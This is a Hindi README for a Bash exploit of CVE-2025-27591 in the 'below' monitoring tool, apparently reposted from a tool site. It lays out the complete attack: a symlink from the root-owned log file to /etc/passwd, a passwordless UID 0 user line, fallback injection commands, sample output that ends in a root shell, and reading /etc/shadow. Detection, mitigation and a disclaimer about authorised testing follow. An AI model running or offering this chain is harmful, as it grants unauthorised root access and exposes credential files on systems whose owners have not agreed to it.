CVE-2025-27591 शोषण - Below Logger सिमलिंक आक्रमण

एक Bash-आधारित विशेषाधिकार वृद्धि शोषण जो below सिस्टम प्रदर्शन निगरानी उपकरण को लक्षित करता है। यह नवीनीकृत शोषण लॉगिंग तंत्र में एक सिमलिंक कमजोरी का लाभ उठाकर /etc/passwd में एक रूट उपयोगकर्ता इंजेक्ट करता है, जिससे पूर्ण रूट पहुंच प्राप्त होती है।

श्रेय

Matthias Gerstner @ SUSE - सुरक्षा सलाहकार द्वारा खोज और रिपोर्ट किया गया

कमजोरी विवरण

• CVE: CVE-2025-27591
• प्रभावित घटक: /usr/bin/below (Facebook का सिस्टम प्रदर्शन निगरानी उपकरण)
• प्रभावित संस्करण: विश्व-लेखनीय लॉग निर्देशिकाओं वाले below संस्करण
• कमजोरी प्रकार: सिमलिंक आक्रमण / विशेषाधिकार वृद्धि
• हमला वेक्टर: /var/log/below/error_root.log → /etc/passwd
• CVSS स्कोर: उच्च (रूट तक विशेषाधिकार वृद्धि)

अवलोकन

below निगरानी उपकरण ऊंचे विशेषाधिकारों के साथ चलने पर त्रुटियों को /var/log/below/error_root.log में लॉग करता है। यदि लॉग निर्देशिका विश्व-लेखनीय है, तो एक हमलावर:

1. error_root.log से /etc/passwd तक एक सिम्बोलिक लिंक बना सकता है
2. सिमलिंक पर त्रुटि संदेश लिखने के लिए below record कमांड को ट्रिगर कर सकता है
3. UID=0 (रूट विशेषाधिकार) के साथ एक दुर्भावनापूर्ण उपयोगकर्ता प्रविष्टि मैन्युअल रूप से इंजेक्ट कर सकता है
4. नवनिर्मित उपयोगकर्ता का उपयोग करके एक रूट शेल प्राप्त कर सकता है

यह शोषण विभिन्न सिस्टम कॉन्फ़िगरेशन को संभालने के लिए बुद्धिमान फ़ॉलबैक तंत्र के साथ पूरी प्रक्रिया को स्वचालित करता है।

शोषण प्रवाह आरेख

flowchart TD
    A[Start Exploit] --> B[Get Username from User]
    B --> C{Check /var/log/below<br/>World-Writable?}
    C -->|No| D[Exit: Not Vulnerable]
    C -->|Yes| E[Remove Existing error_root.log]
    E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
    F --> G{Symlink Created<br/>Successfully?}
    G -->|No| D
    G -->|Yes| H[Execute: sudo below record]
    H --> I[Wait 3 seconds for logging]
    I --> J[Kill below process]
    J --> K{Payload in<br/>/etc/passwd?}
    K -->|Yes| M[Success Path]
    K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
    L --> N{Manual Injection<br/>Success?}
    N -->|No| O[Try Fallback:<br/>sudo tee -a]
    N -->|Yes| M
    O --> P{Fallback<br/>Success?}
    P -->|No| D
    P -->|Yes| M
    M --> Q[Verify Payload in /etc/passwd]
    Q --> R[Disable Cleanup Trap]
    R --> S[Execute: su username]
    S --> T[Root Shell Obtained]

    style A fill:#e1f5ff
    style T fill:#90EE90
    style D fill:#ffcccb
    style M fill:#98fb98

तकनीकी विवरण

शोषण चरण

1. पूर्व-जांच चरण

   • /var/log/below निर्देशिका के अस्तित्व की जांच करें
   • जांचें कि निर्देशिका में विश्व-लेखनीय अनुमतियाँ (o+w) हैं या नहीं
   • सिमलिंक निर्माण क्षमता का परीक्षण करें

2. सेटअप चरण

   • किसी भी मौजूदा error_root.log फ़ाइल को हटाएं
   • सिम्बोलिक लिंक बनाएं: /var/log/below/error_root.log → /etc/passwd
   • सत्यापित करें कि सिमलिंक सही लक्ष्य की ओर इशारा करता है

3. इंजेक्शन चरण (प्राथमिक विधि)

   • पृष्ठभूमि में sudo below record निष्पादित करें
   • त्रुटि लॉगिंग को ट्रिगर करने के लिए प्रक्रिया को 3 सेकंड तक चलने दें
   • निरंतर लॉगिंग को रोकने के लिए प्रक्रिया को समाप्त करें
   • जांचें कि क्या त्रुटि संदेशों ने /etc/passwd को उपयोगी तरीके से दूषित किया है

4. इंजेक्शन चरण (फ़ॉलबैक विधियाँ)

   • विधि 1: सिमलिंक के माध्यम से सीधा जोड़ (echo >> symlink)
   • विधि 2: tee के साथ sudo का उपयोग (sudo tee -a)

5. शेल उत्पन्न चरण

   • /etc/passwd में दुर्भावनापूर्ण उपयोगकर्ता के अस्तित्व की पुष्टि करें

पेलोड संरचना

इंजेक्ट की गई /etc/passwd प्रविष्टि इस प्रारूप का अनुसरण करती है:

username::0:0:username:/root:/bin/bash

फ़ील्ड विवरण:

• username: उपयोगकर्ता द्वारा प्रदान किया गया उपयोगकर्ता नाम (डिफ़ॉल्ट: "0xdtc")
• ::: खाली पासवर्ड फ़ील्ड (कोई पासवर्ड आवश्यक नहीं)
• 0:0: UID=0, GID=0 (रूट विशेषाधिकार)
• username: GECOS फ़ील्ड (उपयोगकर्ता विवरण)
• /root: होम निर्देशिका
• /bin/bash: लॉगिन शेल

आवश्यक शर्तें

• लक्ष्य प्रणाली पर कमजोर below बाइनरी चल रही हो
• /var/log/below निर्देशिका विश्व-लेखनीय होनी चाहिए
• उपयोगकर्ता के पास below record निष्पादित करने के लिए sudo पहुंच होनी चाहिए
• Bash शेल वातावरण

उपयोग

मूल निष्पादन

# Make script executable
chmod +x CVE-2025-27591

# Run the exploit
./CVE-2025-27591

इंटरैक्टिव प्रॉम्प्ट

========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser

उदाहरण आउटपुट

0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc

[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable

[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter

root@kali:/tmp# whoami
root

विशेषताएँ

बुद्धिमान ब्लॉकर हैंडलिंग

स्क्रिप्ट में विभिन्न सिस्टम कॉन्फ़िगरेशन को संभालने के लिए कई फ़ॉलबैक तंत्र शामिल हैं:

1. मौजूदा फ़ाइल हैंडलिंग

   • स्वचालित रूप से मौजूदा लॉग फ़ाइलों का पता लगाता और हटाता है
   • नियमित फ़ाइलों और मौजूदा सिमलिंक दोनों को संभालता है
   • आगे बढ़ने से पहले सिमलिंक लक्ष्य को मान्य करता है

2. एकाधिक इंजेक्शन विधियाँ

   • प्राथमिक: below record त्रुटि लॉगिंग के माध्यम से ट्रिगर
   • फ़ॉलबैक 1: सिमलिंक में सीधा जोड़
   • फ़ॉलबैक 2: sudo tee का उपयोग करके विशेषाधिकारित लेखन

3. प्रक्रिया प्रबंधन

   • स्वचालित रूप से लटके हुए below प्रक्रियाओं को समाप्त करता है
   • संसाधन थकावट को रोकता है
   • विफलता पर प्रक्रिया सफाई संभालता है

4. पुनः-रन पहचान

   • जांचता है कि पेलोड पहले से /etc/passwd में मौजूद है या नहीं
   • यदि उपयोगकर्ता पहले से बनाया गया है तो शोषण छोड़ देता है
   • पुनः-रन पर सीधे शेल उत्पन्न करता है

कोड गुणवत्ता विशेषताएँ

• व्यापक टिप्पणियाँ: प्रत्येक फ़ंक्शन और महत्वपूर्ण चरण दस्तावेजित
• अनुभाग शीर्षक: कोड तार्किक अनुभागों में व्यवस्थित
• त्रुटि प्रबंधन: उचित त्रुटि जांच और उपयोगकर्ता प्रतिक्रिया
• स्वच्छ निकास: विफलता पर सुचारू सफाई के लिए ट्रैप हैंडलर
• न्यूनतम निर्भरताएँ: मानक Unix उपकरणों के साथ शुद्ध Bash

फ़ाइल संरचना

.
├── CVE-2025-27591           # Main exploitation script
├── README.md           # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)

सत्यापन

सफल शोषण के बाद, रूट पहुंच सत्यापित करें:

# Check current user
root@target:/tmp# whoami
root

# Check user ID and groups
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

# Verify user in /etc/passwd
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash

# Read root-only files
root@target:/tmp# cat /etc/shadow
[... shadow file contents ...]

सफाई

यदि आपको परीक्षण के बाद दुर्भावनापूर्ण उपयोगकर्ता को हटाने की आवश्यकता है:

# Remove the injected user from /etc/passwd
sudo sed -i '/^username:/d' /etc/passwd

# Remove any leftover symlinks
rm -f /var/log/below/error_root.log

username को शोषण के दौरान उपयोग किए गए वास्तविक उपयोगकर्ता नाम से बदलें।

पहचान और शमन

पहचान विधियाँ

1. फ़ाइल अखंडता निगरानी

   root@kitploit:~

   # Monitor /etc/passwd for unauthorized changes
   aide --check
   

2. सिमलिंक पहचान

   root@kitploit:~

   # Check for suspicious symlinks in log directories
   find /var/log -type l -ls
   

3. ऑडिट लॉग

   root@kitploit:~

   # Check for suspicious sudo usage
   grep "below record" /var/log/auth.log
   

शमन रणनीतियाँ

1. निर्देशिका अनुमतियाँ ठीक करें

   root@kitploit:~

   # Remove world-writable permission from log directory
   sudo chmod 755 /var/log/below
   

2. AppArmor/SELinux नीतियाँ

   • अनिवार्य पहुंच नियंत्रण लागू करें
   • below बाइनरी फ़ाइल लेखन स्थानों को प्रतिबंधित करें

3. Below अपडेट करें

   • Facebook/Meta से सुरक्षा पैच लागू करें
   • पैकेज प्रबंधक अपडेट का उपयोग करें

4. /etc/passwd की निगरानी करें

   • फ़ाइल अखंडता निगरानी सेट करें (AIDE, Tripwire)
   • UID=0 उपयोगकर्ता जोड़ों पर सतर्क करें

कानूनी अस्वीकरण

यह शोषण केवल शैक्षिक उद्देश्यों और अधिकृत प्रवेश परीक्षण के लिए है।

कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। इस उपकरण का उपयोग केवल उन सिस्टमों पर करें जहां आपके पास सुरक्षा परीक्षण करने की स्पष्ट अनुमति हो। लेखक इस उपकरण के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेते।

इस शोषण का उपयोग करके, आप स्वीकार करते हैं कि आप:

• लक्ष्य प्रणाली का परीक्षण करने का उचित प्राधिकरण है
• लागू कानूनों और विनियमों को समझते हैं
• अपने कार्यों की पूर्ण जिम्मेदारी स्वीकार करते हैं

Repository: https://github.com/0xDTC/ लेखक: Divine Clown (0xDTC) लाइसेंस: केवल शैक्षिक उपयोग अंतिम अद्यतन: 2025-11-13